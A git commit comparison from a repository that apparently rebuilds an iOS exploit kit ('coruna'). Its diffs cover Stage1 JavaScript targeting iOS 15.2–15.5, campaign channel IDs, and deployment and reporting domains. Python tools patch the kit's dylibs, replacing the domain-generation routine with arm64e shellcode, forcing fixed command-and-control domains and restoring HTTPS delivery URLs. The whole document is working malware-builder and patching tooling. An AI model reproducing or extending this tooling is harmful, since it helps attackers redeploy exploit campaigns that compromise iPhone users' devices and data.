Compare commits

..

2 Commits

Author SHA1 Message Date
hashbro 8d8f6f7c03 fix: ios 16 2026-08-09 18:35:00 +08:00
hashbro 8b079d37e4 Build delivery over HTTPS and flatten source/web.
Keep/restore https://%@ in type0x01/core and rewrite daily module URLs to https, and move campaign assets from source/web/<hash>/ up to source/web/ so templates match the channel artifact layout.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-08-09 16:07:55 +08:00
89 changed files with 263 additions and 92 deletions
+1 -1
View File
@@ -56,7 +56,7 @@ python3 frontend/tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains 'www.dep.example' \ --deployment-domains 'www.dep.example' \
--reporting-domains 'www.rep.example' \ --reporting-domains 'www.rep.example' \
--support-template test # 或 blank(无 HUD 空白页) --support-template test # test | blank
``` ```
## Tests ## Tests
+1 -1
View File
@@ -10,7 +10,7 @@
{base}/65704c07….min.js # 二级 type-0x01 包(wire 后缀 .min.js) {base}/65704c07….min.js # 二级 type-0x01 包(wire 后缀 .min.js)
``` ```
`base` = `/web/34f5121f572d6742703eb84ec2f866a6/`(lab 已摊平到同路径)。 线上原始 `base` = `/web/34f5121f572d6742703eb84ec2f866a6/`;lab 模板与产物为扁平 `web/`(渠道对外路径为 `/channel/<id>/web/`)。
### Wire 后缀(实测) ### Wire 后缀(实测)
+5 -4
View File
@@ -1,12 +1,13 @@
# Stage JS 与入口 # Stage JS 与入口
线上与 lab 均位于 campaign base: lab 模板与渠道产物均位于扁平 `web/`(不再使用历史 campaign hash 子目录):
```text ```text
web/34f5121f572d6742703eb84ec2f866a6/ frontend/source/web/ # 模板
artifacts/channel/<id>/web/ # 渠道产物
``` ```
`coruna-online` 中哈希文件名在仓库根目录;下表「对标 `coruna/`」为同系列可读文件名(逻辑对应,**字节未必一致**:本批 dhxuhdbej888 与 `coruna/` 工具包是同源链的不同落盘/混淆版本)。 线上原始样本路径曾为 `/web/34f5121f572d6742703eb84ec2f866a6/`;lab 已摊平。`coruna-online` 中哈希文件名在仓库根目录;下表「对标 `coruna/`」为同系列可读文件名(逻辑对应,**字节未必一致**:本批 dhxuhdbej888 与 `coruna/` 工具包是同源链的不同落盘/混淆版本)。
## 阶段职责 ## 阶段职责
@@ -22,7 +23,7 @@ web/34f5121f572d6742703eb84ec2f866a6/
## 文件对照 ## 文件对照
| lab 文件 (`web/34f5121f…/`) | 阶段 | 对标 `coruna/` | | lab 文件 (`web/`) | 阶段 | 对标 `coruna/` |
|---|---|---| |---|---|---|
| `support.html` | 入口 HTML | `index.html` / `group.html`(入口角色对应;非同字节) | | `support.html` | 入口 HTML | `index.html` / `group.html`(入口角色对应;非同字节) |
| `98f0c8fb182309faa687aa849e92d0ac5f93af7d.js` | Stage1 | `Stage1_15.2_15.5_jacurutu.js` | | `98f0c8fb182309faa687aa849e92d0ac5f93af7d.js` | Stage1 | `Stage1_15.2_15.5_jacurutu.js` |
+2 -2
View File
@@ -4,7 +4,7 @@ Build-time choices for `web/support.html` (`--support-template` / API `support_t
| Name | Source | Description | | Name | Source | Description |
|------|--------|-------------| |------|--------|-------------|
| `test` | campaign copy under `source/web/<id>/support.html` | Current lab HUD progress UI | | `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI |
| `blank` | `blank.html` in this directory | Same loader scripts, no HUD markup/JS | | `blank` | `blank.html` | Loader scripts only, no HUD UI |
Default is `test`. Default is `test`.
+31 -20
View File
@@ -9,37 +9,47 @@ if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS)) sys.path.insert(0, str(TOOLS))
from _scheme_patch import ( from _scheme_patch import (
HTTPS,
HTTP_SLOT,
HTTP_VISIBLE,
LEGACY_SLASH, LEGACY_SLASH,
NEW_VISIBLE, ensure_deployment_scheme_https,
OLD,
patch_deployment_scheme_to_http,
) )
class SchemePatchTests(unittest.TestCase): class SchemePatchTests(unittest.TestCase):
def test_slot_sizes(self) -> None: def test_slot_sizes(self) -> None:
self.assertEqual(len(OLD), 10) self.assertEqual(len(HTTPS), 10)
self.assertEqual(len(LEGACY_SLASH), 10) self.assertEqual(len(LEGACY_SLASH), 10)
self.assertEqual(len(NEW_VISIBLE), 9) self.assertEqual(len(HTTP_SLOT), 10)
self.assertEqual(len(HTTP_VISIBLE), 9)
def test_patches_core_fat_dylib(self) -> None: def test_leaves_core_https_alone(self) -> None:
src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib" src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
data = src.read_bytes() data = src.read_bytes()
self.assertEqual(data.count(OLD), 2) self.assertEqual(data.count(HTTPS), 2)
out = patch_deployment_scheme_to_http(data, expect_hits=2, label="core") out = ensure_deployment_scheme_https(data, expect_hits=2, label="core")
self.assertEqual(out.count(OLD), 0) self.assertEqual(out, data)
self.assertEqual(out.count(LEGACY_SLASH), 0) self.assertEqual(out.count(HTTPS), 2)
self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2)
def test_migrates_legacy_trailing_slash(self) -> None: def test_restores_http_slot_on_core(self) -> None:
src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib" src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
legacy = src.read_bytes().replace(OLD, LEGACY_SLASH) http_patched = src.read_bytes().replace(HTTPS, HTTP_SLOT)
self.assertEqual(legacy.count(LEGACY_SLASH), 2) self.assertEqual(http_patched.count(HTTP_SLOT), 2)
out = patch_deployment_scheme_to_http(legacy, expect_hits=2, label="core") out = ensure_deployment_scheme_https(http_patched, expect_hits=2, label="core")
self.assertEqual(out.count(HTTPS), 2)
self.assertEqual(out.count(HTTP_SLOT), 0)
self.assertEqual(out.count(LEGACY_SLASH), 0) self.assertEqual(out.count(LEGACY_SLASH), 0)
self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2)
def test_patches_type0x01_thin(self) -> None: def test_restores_legacy_trailing_slash(self) -> None:
src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
legacy = src.read_bytes().replace(HTTPS, LEGACY_SLASH)
self.assertEqual(legacy.count(LEGACY_SLASH), 2)
out = ensure_deployment_scheme_https(legacy, expect_hits=2, label="core")
self.assertEqual(out.count(LEGACY_SLASH), 0)
self.assertEqual(out.count(HTTPS), 2)
def test_leaves_type0x01_https_alone(self) -> None:
src = ( src = (
FRONTEND FRONTEND
/ "source" / "source"
@@ -47,9 +57,10 @@ class SchemePatchTests(unittest.TestCase):
/ "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib" / "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib"
) )
data = src.read_bytes() data = src.read_bytes()
out = patch_deployment_scheme_to_http(data, expect_hits=1, label="t0") self.assertEqual(data.count(HTTPS), 1)
self.assertEqual(out.count(OLD), 0) out = ensure_deployment_scheme_https(data, expect_hits=1, label="t0")
self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 1) self.assertEqual(out, data)
self.assertEqual(out.count(HTTPS), 1)
if __name__ == "__main__": if __name__ == "__main__":
+2 -2
View File
@@ -17,7 +17,7 @@ python3 frontend/tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains 'www.dep1.example,www.dep2.example' \ --deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example' \ --reporting-domains 'www.rep1.example,www.rep2.example' \
--support-template test # test=HUD 进度页;blank=空白页 --support-template test # test | blank
python3 frontend/tools/new_project.py \ python3 frontend/tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
@@ -28,7 +28,7 @@ python3 frontend/tools/new_project.py \
--support-template blank --support-template blank
``` ```
`support_template`:`test`(默认,source 中带 HUD 的页面)或 `blank`(去掉 HUD,仅保留加载逻辑)。 `support_template`:`test`(默认 HUD)、`blank`(空白页)。
产物: 产物:
+4 -3
View File
@@ -23,11 +23,11 @@ VENDOR_ROOT = TOOLS_ROOT / "vendor"
if str(VENDOR_ROOT) not in sys.path: if str(VENDOR_ROOT) not in sys.path:
sys.path.insert(0, str(VENDOR_ROOT)) sys.path.insert(0, str(VENDOR_ROOT))
# Campaign / channel id embedded in type-0x01 (also source/web/<id>/ dirname). # Campaign / channel id embedded in type-0x01 binaries (seed template).
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
# Plain C-string channel in core + most sync business dylibs (FAT, 2 hits each). # Plain C-string channel in core + most sync business dylibs (FAT, 2 hits each).
ORIGINAL_CORE_CHANNEL_ID = "e57f5207c9f2bacf7907c09ccf25b107" ORIGINAL_CORE_CHANNEL_ID = "e57f5207c9f2bacf7907c09ccf25b107"
CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active campaign id (may be overridden) CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active channel id (may be overridden)
# Campaign originals (current seeds embedded in type-0x01 + core) # Campaign originals (current seeds embedded in type-0x01 + core)
ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6" ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
@@ -41,7 +41,8 @@ OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii")
_TREE_ROOT = SOURCE_ROOT _TREE_ROOT = SOURCE_ROOT
CAMPAIGN_DIR = _TREE_ROOT / "web" CAMPAIGN_DIR = _TREE_ROOT / "web"
SYNC_DIR = _TREE_ROOT / "sync" SYNC_DIR = _TREE_ROOT / "sync"
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID # Flat delivery template (support.html + stage/native packs live directly under web/).
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web"
# Vendored plaintext inputs (all under source/; no coruna-online runtime dependency). # Vendored plaintext inputs (all under source/; no coruna-online runtime dependency).
TYPE0X01_DYLIBS_DIR = SOURCE_ROOT / "type0x01_dylibs" TYPE0X01_DYLIBS_DIR = SOURCE_ROOT / "type0x01_dylibs"
+73 -6
View File
@@ -10,11 +10,33 @@ from _common import OLD_DEP, OLD_REP, pack_seed
_SUB_SP_E0 = 0xD10383FF _SUB_SP_E0 = 0xD10383FF
_MURMUR = bytes.fromhex("21368f52e1c6b372") _MURMUR = bytes.fromhex("21368f52e1c6b372")
_NOP = 0xD503201F _NOP = 0xD503201F
_PACIBSP = 0xD503237F
_PACIBSP_ALT = 0xD503233F
_AUTIBSP = 0xD50323FF
# Standard arm64e return auth sequence used by the original helper epilogue:
# autibsp ; eor x16, x30, x30, lsl #1 ; tbz x16, #62, .+8 ; brk #0xc471 ; b <stub>
_EOR_X16_X30_LSL1 = 0xCA1E07D0
_TBZ_X16_BIT62_PLUS8 = 0xB6F00050
_BRK_C471 = 0xD4388E20
MAX_DOMAINS_PER_POOL = 8 MAX_DOMAINS_PER_POOL = 8
MAX_DOMAIN_LEN = 63 MAX_DOMAIN_LEN = 63
def _b_target(pc: int, ins: int) -> int | None:
"""Return target of an unconditional B, or None if ``ins`` is not B."""
if (ins & 0xFC000000) != 0x14000000:
return None
imm = ins & 0x3FFFFFF
if imm & 0x2000000:
imm -= 0x4000000
return pc + imm * 4
def _is_pacibsp(ins: int) -> bool:
return ins in (_PACIBSP, _PACIBSP_ALT)
@dataclass @dataclass
class SlicePatch: class SlicePatch:
file_offset: int file_offset: int
@@ -324,6 +346,17 @@ def _collect_branch_targets(
def _discover_dga(blob: bytes) -> tuple[int, int, int]: def _discover_dga(blob: bytes) -> tuple[int, int, int]:
"""Locate the PLServerPool DGA helper.
Returns ``(entry, body, end)`` where:
- ``body`` is the ``sub sp, sp, #0xe0`` prologue
- ``entry`` is the address callers actually enter (``pacibsp`` when present)
- ``end`` is the first byte *after* the replaceable region
Important: a ``b`` immediately before ``pacibsp`` is often the *previous*
function's tail branch (target ≠ body). Only treat ``b + pacibsp`` as an
8-byte trampoline when that ``b`` actually targets ``body``.
"""
idx = blob.find(_MURMUR) idx = blob.find(_MURMUR)
if idx < 0: if idx < 0:
raise SystemExit("DGA murmur constant not found") raise SystemExit("DGA murmur constant not found")
@@ -335,12 +368,17 @@ def _discover_dga(blob: bytes) -> tuple[int, int, int]:
break break
if body is None: if body is None:
raise SystemExit("DGA prologue not found") raise SystemExit("DGA prologue not found")
entry = body entry = body
if body >= 8: if body >= 4 and _is_pacibsp(struct.unpack_from("<I", blob, body - 4)[0]):
ins_b = struct.unpack_from("<I", blob, body - 8)[0] entry = body - 4
ins_pac = struct.unpack_from("<I", blob, body - 4)[0] if body >= 8:
if (ins_b & 0xFC000000) == 0x14000000 and ins_pac in (0xD503237F, 0xD503233F): ins_b = struct.unpack_from("<I", blob, body - 8)[0]
entry = body - 8 if _b_target(body - 8, ins_b) == body:
# True compiler trampoline: b body; pacibsp; body
entry = body - 8
# Default span; shrink if another large-frame prologue follows.
end = body + 0x360 end = body + 0x360
for a in range(body + 0x80, body + 0x400, 4): for a in range(body + 0x80, body + 0x400, 4):
if a + 4 > len(blob): if a + 4 > len(blob):
@@ -348,6 +386,14 @@ def _discover_dga(blob: bytes) -> tuple[int, int, int]:
if struct.unpack_from("<I", blob, a)[0] == _SUB_SP_E0: if struct.unpack_from("<I", blob, a)[0] == _SUB_SP_E0:
end = a end = a
break break
# arm64e helpers keep autibsp + auth + b <stub> after the stack restore.
# Include that tail in the patch window so our shellcode owns the return.
if entry < body and end + 16 <= len(blob):
if struct.unpack_from("<I", blob, end)[0] == _AUTIBSP:
# autibsp; eor; tbz; brk; b stub (5 ins)
end = end + 20
return entry, body, end return entry, body, end
@@ -394,6 +440,7 @@ def _apply_shellcode(
blob: bytes, blob: bytes,
*, *,
entry: int, entry: int,
body: int,
end: int, end: int,
stubs: dict[str, int], stubs: dict[str, int],
class_array: int, class_array: int,
@@ -408,6 +455,10 @@ def _apply_shellcode(
code: list[int] = [] code: list[int] = []
labels: dict[str, int] = {} labels: dict[str, int] = {}
pending: list[tuple[int, str, str]] = [] pending: list[tuple[int, str, str]] = []
# arm64e helpers sign LR with pacibsp at the real entry (body-4).
has_pac = body >= 4 and _is_pacibsp(
struct.unpack_from("<I", blob, body - 4)[0]
)
def pc() -> int: def pc() -> int:
return entry + len(code) * 4 return entry + len(code) * 4
@@ -442,6 +493,15 @@ def _apply_shellcode(
emit(_enc_adrp(rd, p, abs_addr)) emit(_enc_adrp(rd, p, abs_addr))
emit(_enc_ldr64_uoff(rd, rd, abs_addr & 0xFFF)) emit(_enc_ldr64_uoff(rd, rd, abs_addr & 0xFFF))
# Match the original PAC entry when present. Starting the shellcode at the
# previous function's trailing `b` (old bug) skipped pacibsp and entered
# mid-frame-setup → crash before any /sync probe on arm64e type0x01/core.
if has_pac:
if entry == body - 8:
# True trampoline site: keep a branch into the pacibsp/body path.
emit(_enc_b(pc(), body - 4))
emit(_PACIBSP)
# Save every callee-saved reg we touch (x19-x22, x25). Omitting these # Save every callee-saved reg we touch (x19-x22, x25). Omitting these
# corrupts _generateDomainsLocked and aborts before any /sync probe. # corrupts _generateDomainsLocked and aborts before any /sync probe.
emit(0xA9BC7BFD) # stp x29, x30, [sp, #-0x40]! emit(0xA9BC7BFD) # stp x29, x30, [sp, #-0x40]!
@@ -449,7 +509,7 @@ def _apply_shellcode(
emit(0xA90257F6) # stp x22, x21, [sp, #0x20] emit(0xA90257F6) # stp x22, x21, [sp, #0x20]
emit(0xA90367FA) # stp x26, x25, [sp, #0x30] emit(0xA90367FA) # stp x26, x25, [sp, #0x30]
emit(0x910103FD) # add x29, sp, #0x40 emit(0x910103FD) # add x29, sp, #0x40
emit(0xAA0003F3) # mov x19, x0 ; seed emit(0xAA0003F3) # mov x19, x0 ; seed NSString* (x1 is domain count)
bl(stubs["retain"]) bl(stubs["retain"])
emit(0xAA1303E0) emit(0xAA1303E0)
@@ -511,6 +571,12 @@ def _apply_shellcode(
emit(0xA94257F6) # ldp x22, x21, [sp, #0x20] emit(0xA94257F6) # ldp x22, x21, [sp, #0x20]
emit(0xA9414FF4) # ldp x20, x19, [sp, #0x10] emit(0xA9414FF4) # ldp x20, x19, [sp, #0x10]
emit(0xA8C47BFD) # ldp x29, x30, [sp], #0x40 emit(0xA8C47BFD) # ldp x29, x30, [sp], #0x40
if has_pac:
# Mirror the original arm64e return auth before the objc stub tail-call.
emit(_AUTIBSP)
emit(_EOR_X16_X30_LSL1)
emit(_TBZ_X16_BIT62_PLUS8)
emit(_BRK_C471)
emit(_enc_b(pc(), stubs["autoreleaseReturn"])) emit(_enc_b(pc(), stubs["autoreleaseReturn"]))
table_off = entry + len(code) * 4 table_off = entry + len(code) * 4
@@ -602,6 +668,7 @@ def patch_fixed_domains_in_dylib(
patched = _apply_shellcode( patched = _apply_shellcode(
blob, blob,
entry=entry, entry=entry,
body=body,
end=end, end=end,
stubs=stubs, stubs=stubs,
class_array=class_array, class_array=class_array,
+39 -30
View File
@@ -1,12 +1,15 @@
"""Force Deployment/Reporting URL scheme from https to http for lab proxy testing. """Keep Deployment/Reporting URL scheme as ``https://%@``.
Core/type0x01 build URLs with the cstring/CFString format ``https://%@``. Core/type0x01 build URLs with the cstring/CFString format ``https://%@``.
daily.html plugin URLs are already ``http://[HOST_PLACEHOLDER]/...``. ``daily.html`` plugin URLs use ``https://[HOST_PLACEHOLDER]/...``.
``https://%@`` (len 10) is replaced with ``http://%@\\0`` (9 visible chars + pad) Older lab builds patched scheme to cleartext for proxy testing:
and matching CFString length fields are updated 10 → 9. Do **not** use a trailing
slash in the format string — paths already start with ``/``, which produced - ``https://%@`` → ``http://%@\\0`` (9 visible chars + NUL pad), CFString length 10 → 9
``https://host//api/...``. - mistaken same-length form ``http://%@/`` (caused ``host//path``)
This module leaves pristine ``https://%@`` alone and restores any of those
legacy http forms back to ``https://%@`` (CFString length 10).
""" """
from __future__ import annotations from __future__ import annotations
@@ -15,12 +18,17 @@ import struct
from _path_patch import _arm64e_target, _fat_slices, _parse_macho from _path_patch import _arm64e_target, _fat_slices, _parse_macho
OLD = b"https://%@" HTTPS = b"https://%@"
# Previous mistaken same-length patch (caused host//path). # Previous mistaken same-length patch (caused host//path).
LEGACY_SLASH = b"http://%@/" LEGACY_SLASH = b"http://%@/"
# 10-byte slot: 9-char format + NUL pad (original terminator becomes a second NUL). # 10-byte slot from http cleartext patch: 9-char format + NUL pad.
NEW_SLOT = b"http://%@\x00" HTTP_SLOT = b"http://%@\x00"
NEW_VISIBLE = b"http://%@" HTTP_VISIBLE = b"http://%@"
# Back-compat aliases for tests / importers that still use the old names.
OLD = HTTPS
NEW_SLOT = HTTP_SLOT
NEW_VISIBLE = HTTP_VISIBLE
def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes: def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
@@ -35,22 +43,23 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
cstring = macho.section("__TEXT", "__cstring") cstring = macho.section("__TEXT", "__cstring")
region = bytearray(data[cstring.offset : cstring.offset + cstring.size]) region = bytearray(data[cstring.offset : cstring.offset + cstring.size])
# Prefer migrating legacy slash form, else patch original https form. https_count = region.count(HTTPS)
if region.count(LEGACY_SLASH) == expect_hits and region.count(OLD) == 0: slash_count = region.count(LEGACY_SLASH)
source = LEGACY_SLASH http_slot_count = region.count(HTTP_SLOT)
elif region.count(OLD) == expect_hits:
source = OLD if https_count == expect_hits and slash_count == 0 and http_slot_count == 0:
elif ( # Already https://%@ — nothing to do.
region.count(NEW_VISIBLE) >= expect_hits
and region.count(OLD) == 0
and region.count(LEGACY_SLASH) == 0
):
# Already patched to http://%@ (NUL-terminated).
return data return data
if slash_count == expect_hits and https_count == 0 and http_slot_count == 0:
source = LEGACY_SLASH
elif http_slot_count == expect_hits and https_count == 0 and slash_count == 0:
source = HTTP_SLOT
else: else:
raise SystemExit( raise SystemExit(
f"{label}: expected {expect_hits} {OLD!r} or {LEGACY_SLASH!r} in " f"{label}: expected {expect_hits} {HTTPS!r} (or legacy http forms) in "
f"__cstring; found https={region.count(OLD)} slash={region.count(LEGACY_SLASH)}" f"__cstring; found https={https_count} slash={slash_count} "
f"http_slot={http_slot_count}"
) )
hits: list[int] = [] hits: list[int] = []
@@ -67,7 +76,7 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
) )
for hit in hits: for hit in hits:
region[hit : hit + len(NEW_SLOT)] = NEW_SLOT region[hit : hit + len(HTTPS)] = HTTPS
buf = bytearray(data) buf = bytearray(data)
buf[cstring.offset : cstring.offset + cstring.size] = region buf[cstring.offset : cstring.offset + cstring.size] = region
@@ -87,12 +96,12 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
target = raw if architecture == "arm64" else _arm64e_target(raw) target = raw if architecture == "arm64" else _arm64e_target(raw)
if target != path_vmaddr: if target != path_vmaddr:
continue continue
if length not in (len(OLD), len(NEW_VISIBLE)): if length not in (len(HTTPS), len(HTTP_VISIBLE)):
raise SystemExit( raise SystemExit(
f"{label}: scheme CFString length={length}, expected " f"{label}: scheme CFString length={length}, expected "
f"{len(OLD)} or {len(NEW_VISIBLE)}" f"{len(HTTPS)} or {len(HTTP_VISIBLE)}"
) )
struct.pack_into("<Q", buf, record_offset + 24, len(NEW_VISIBLE)) struct.pack_into("<Q", buf, record_offset + 24, len(HTTPS))
patched_lengths += 1 patched_lengths += 1
break break
else: else:
@@ -107,16 +116,16 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
return bytes(buf) return bytes(buf)
def patch_deployment_scheme_to_http( def ensure_deployment_scheme_https(
data: bytes, data: bytes,
*, *,
expect_hits: int, expect_hits: int,
label: str, label: str,
) -> bytes: ) -> bytes:
"""Patch ``https://%@`` → ``http://%@`` (CFString length 9) in thin or fat dylibs. """Ensure ``https://%@`` (CFString length 10) in thin or fat dylibs.
``expect_hits`` is the total number of format strings across the whole file ``expect_hits`` is the total number of format strings across the whole file
(2 for fat core, 1 for thin type0x01). (2 for fat core, 1 for thin type0x01). Restores legacy lab http patches.
""" """
slices = _fat_slices(data, label=label) slices = _fat_slices(data, label=label)
if slices is None: if slices is None:
+8 -7
View File
@@ -26,7 +26,6 @@ PROJECT_ROOT = FRONTEND_ROOT.parent
SOURCE_ROOT = FRONTEND_ROOT / "source" SOURCE_ROOT = FRONTEND_ROOT / "source"
ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts" ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts"
LAB_ROOT = FRONTEND_ROOT # cwd / out/ for tooling LAB_ROOT = FRONTEND_ROOT # cwd / out/ for tooling
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
SUPPORT_TEMPLATES = ("test", "blank") SUPPORT_TEMPLATES = ("test", "blank")
DEFAULT_SUPPORT_TEMPLATE = "test" DEFAULT_SUPPORT_TEMPLATE = "test"
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support" SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
@@ -72,11 +71,13 @@ def apply_support_template(campaign_dir: Path, template: str) -> None:
def copy_campaign_template(dst_campaign: Path) -> None: def copy_campaign_template(dst_campaign: Path) -> None:
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID src = SOURCE_ROOT / "web"
if not src.is_dir(): if not src.is_dir():
raise SystemExit(f"missing source campaign: {src}") raise SystemExit(f"missing source web template: {src}")
if not (src / "support.html").is_file():
raise SystemExit(f"missing source web/support.html under {src}")
if dst_campaign.exists(): if dst_campaign.exists():
raise SystemExit(f"campaign already exists: {dst_campaign}") raise SystemExit(f"web dest already exists: {dst_campaign}")
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk) shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
@@ -220,10 +221,10 @@ def main() -> int:
) )
args = parser.parse_args() args = parser.parse_args()
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID src_campaign = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync" src_sync = SOURCE_ROOT / "sync"
if not src_campaign.is_dir(): if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
raise SystemExit(f"missing source campaign: {src_campaign}") raise SystemExit(f"missing source web template (need web/support.html): {src_campaign}")
if not src_sync.is_dir(): if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}") raise SystemExit(f"missing source sync: {src_sync}")
+4 -5
View File
@@ -17,7 +17,6 @@ TOOLS = Path(__file__).resolve().parent
FRONTEND_ROOT = TOOLS.parent FRONTEND_ROOT = TOOLS.parent
LAB_ROOT = FRONTEND_ROOT LAB_ROOT = FRONTEND_ROOT
SOURCE_ROOT = FRONTEND_ROOT / "source" SOURCE_ROOT = FRONTEND_ROOT / "source"
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def gen_seed() -> str: def gen_seed() -> str:
@@ -39,12 +38,12 @@ def ensure_working_tree(root: Path, channel: str) -> None:
"""Ensure channel-scoped sync/ and web/ exist.""" """Ensure channel-scoped sync/ and web/ exist."""
camp = root / "web" camp = root / "web"
sync = root / "sync" sync = root / "sync"
src_camp = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID src_camp = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync" src_sync = SOURCE_ROOT / "sync"
if not src_camp.is_dir() or not src_sync.is_dir(): if not src_camp.is_dir() or not (src_camp / "support.html").is_file() or not src_sync.is_dir():
raise SystemExit( raise SystemExit(
f"missing source template.\n" f"missing source template.\n"
f"expected: {src_camp} and {src_sync}" f"expected: {src_camp}/support.html and {src_sync}"
) )
if not camp.is_dir() or not sync.is_dir(): if not camp.is_dir() or not sync.is_dir():
print("=== bootstrap working tree from source/ ===") print("=== bootstrap working tree from source/ ===")
@@ -54,7 +53,7 @@ def ensure_working_tree(root: Path, channel: str) -> None:
if not camp.is_dir(): if not camp.is_dir():
camp.parent.mkdir(parents=True, exist_ok=True) camp.parent.mkdir(parents=True, exist_ok=True)
shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk) shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk)
print(f"copied campaign -> {camp}") print(f"copied web/ -> {camp}")
if not camp.is_dir() or not sync.is_dir(): if not camp.is_dir() or not sync.is_dir():
raise SystemExit(f"failed to bootstrap {camp} / {sync}") raise SystemExit(f"failed to bootstrap {camp} / {sync}")
print() print()
+5 -5
View File
@@ -28,7 +28,7 @@ from _common import (
) )
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _path_patch import patch_initial_daily_path from _path_patch import patch_initial_daily_path
from _scheme_patch import patch_deployment_scheme_to_http from _scheme_patch import ensure_deployment_scheme_https
import _common import _common
from coruna_netconfig_pipeline import ( from coruna_netconfig_pipeline import (
@@ -151,7 +151,7 @@ def update_daily_hashes(
) -> bytes: ) -> bytes:
"""Rewrite channel sync URLs and update hashes/sizes keyed by wire filename.""" """Rewrite channel sync URLs and update hashes/sizes keyed by wire filename."""
obj = json.loads(config_bytes) obj = json.loads(config_bytes)
prefix = f"http://[HOST_PLACEHOLDER]/channel/{channel}/sync" prefix = f"https://[HOST_PLACEHOLDER]/channel/{channel}/sync"
def patch_entry(entry: dict) -> None: def patch_entry(entry: dict) -> None:
wire = str(entry.get("url", "")).rsplit("/", 1)[-1] wire = str(entry.get("url", "")).rsplit("/", 1)[-1]
@@ -258,7 +258,7 @@ def main() -> int:
if args.root: if args.root:
set_tree_root(args.root) set_tree_root(args.root)
# sync-only: campaign dirs are web/<channel-id>/ and may not match ORIGINAL # sync-only: working tree may lack web/ when patching sync in isolation
ensure_tree_layout(tree_root(), require_campaign=False) ensure_tree_layout(tree_root(), require_campaign=False)
if args.apply: if args.apply:
if not args.root: if not args.root:
@@ -315,8 +315,8 @@ def main() -> int:
reporting_seed=rep, reporting_seed=rep,
label=label, label=label,
) )
# Fat arm64+arm64e: 2× https://%@ → http://%@/ for lab cleartext proxy. # Fat arm64+arm64e: keep/restore 2× https://%@ (undo legacy http lab patch).
data = patch_deployment_scheme_to_http( data = ensure_deployment_scheme_https(
data, expect_hits=2, label=label data, expect_hits=2, label=label
) )
+4 -4
View File
@@ -23,7 +23,7 @@ from _common import (
validate_seed_arg, validate_seed_arg,
) )
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _scheme_patch import patch_deployment_scheme_to_http from _scheme_patch import ensure_deployment_scheme_https
from _path_patch import patch_initial_daily_path from _path_patch import patch_initial_daily_path
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
import _common import _common
@@ -49,7 +49,7 @@ def main() -> int:
parser.add_argument( parser.add_argument(
"--channel-id", "--channel-id",
help=( help=(
f"new 32-hex channel id written into type-0x01 and used as web/<id>/ " f"new 32-hex channel id written into type-0x01 "
f"(default: keep {ORIGINAL_CHANNEL_ID})" f"(default: keep {ORIGINAL_CHANNEL_ID})"
), ),
) )
@@ -141,8 +141,8 @@ def main() -> int:
reporting_seed=rep, reporting_seed=rep,
label=path.name, label=path.name,
) )
